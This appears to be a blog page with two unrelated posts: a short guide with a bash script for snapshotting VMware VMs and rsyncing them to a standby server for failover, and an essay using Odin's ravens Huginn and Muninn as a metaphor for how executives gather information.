1) Take vmware snapshots of VM’s that you want.

Vmware snapshots take a point in time snapshot of a running VM.  During this time, the services may not be available, but it take a few minutes and can be done in off-hours.

2) rsync them to vmserver 2

rsync is a good tool because it has the ability to only transfer files or bits that have changed and is a fast and effective way to transfer data.

We are showing a process that just uses two standalone type servers, but another good approach is to put your VM’s on a fast NFS server and you can utilize the same VM files for each server. Like most IT problems, there are numerous solutions , each having their merit.

Before we show the script, you might be wondering how we can copy a live running OS and have it work on the other side.  Once the snapshot is taken, you can copy (live) the entire VM and on the target side (in this case vmserv2), you can then ‘revert to last snapshot’. It will use that snapshot information to make the VM run as it was during the time of the snapshot.  I have tested this method many times and even tested some database applications that were running to make sure that the data that was updated minutes before the snapshot is on the newly brought up VM.  Those who haven’t done this , should also be aware that you should not bring up two identical VM’s on two servers unless you are specifically controlling the networking on them to make sure there are not conflicts. The one thing you need to watch out for is that rsync may copy the .lck files/directories, so you will need to test /refine your process to remove that .lck related files so that failover VM properly starts.

Here is an simple example script:

#!/bin/bash

# below <vmroot> is the user that runs your vmware, and <pass> is the passsword you use

# rsync needs to be set up using either an rsync server or via ssh keys, so that your process can communicate without interaction

# a few notifications are included, but this is an example, and you can provide many more checkpoints and comparisons, to make sure it succeeds.

TMPFILE=/tmp/process.$$

#Gather the list of running VM’s (according to your configuratoin)

PRODVM=`vmrun -h https://localhost:8333/sdk -u <vmroot> -p ‘<pass>’ listRegisteredVM  > $TMPFILE`

# Now create Snapshot of VMs and rsync it to the secondary server

cat $TMPFILE | while read VM; do
echo “VM is $VM”
/usr/bin/vmrun -T localhost -u <vmroot> -p <pass> -h https://localhost:8333/sdk snapshot “$VM”
done

echo “Now, rsync the data” >> $TMPFILE
/usr/bin/rsync -avzq /data/VM/PROD/ vmserv2:/data/VM/PROD >> $TMPFILE 2>&1

cat $TMPFILE | mail -s “VM snapshots/Rsync complete”  itops@yourdomain.com

/bin/rm $TMPFILE

It’s simple, it works and  it’s free.

by Bryon D Beilman

Who or what are Huginn and Muninn and why do you care? They are a couple of Ravens that used to fly all over the world and gather information to bring back for the Norse God Odin.  These figures in Norse Mythology Huginn (Old Norse “Thought”) and Muninn (Old Norse “Memory”) appear in 13th century literature.

How does this relate to you Mr. Odin or how is it relative to today?  Let me put it in the context of Information Technology.  What technologies do you use to keep you abreast of information?  Perhaps Huginn and Muninn were reborn as Larry Page and Sergey Brinn who set out to gather useful information in the world and bring it back for you.  Perhaps their current incarnations are merely bots and information aggregrators; the kind used for news by the Drudge Report  or News Now, or maybe it’s financial information gathered and provided for a fee by Reuters or Bloomberg . Perhaps the two Ravens are proponents of the Open Source movement and are now named Freshmeat and Sourceforge.    Whatever the case, humans have been interested in keeping abreast of information for quite some time. The technology has changed from Ravens to Bits, Bytes and Bots, and coming at us faster than we can use them.

As a final observation, what is the link between Odin and the top CEO’s of large corporations?  Some might think it is the long beard and a helmet with horns on the top, but it is really information. Sure some of them are very talented and hard working, but think of all the information about their business, market and industry that is processed from their management team, business intelligence systems and given to them to make those ever important decisions.  I have known many CEO’s that are down and dirty and in the trenches like many others, but sometimes I see speeches from CEO’s or Venture Capitalists who have amazing insight. I cannot help to think that it is because of the information they have been given, aggregated and digested.  If you were a venture capitalist, think of how many  Huginns and Muninns present to you each week with business plans, market analysis and interesting ideas (and perhaps many , not so interesting ideas).

It turns out that Huginn and Muninn are pretty valuable.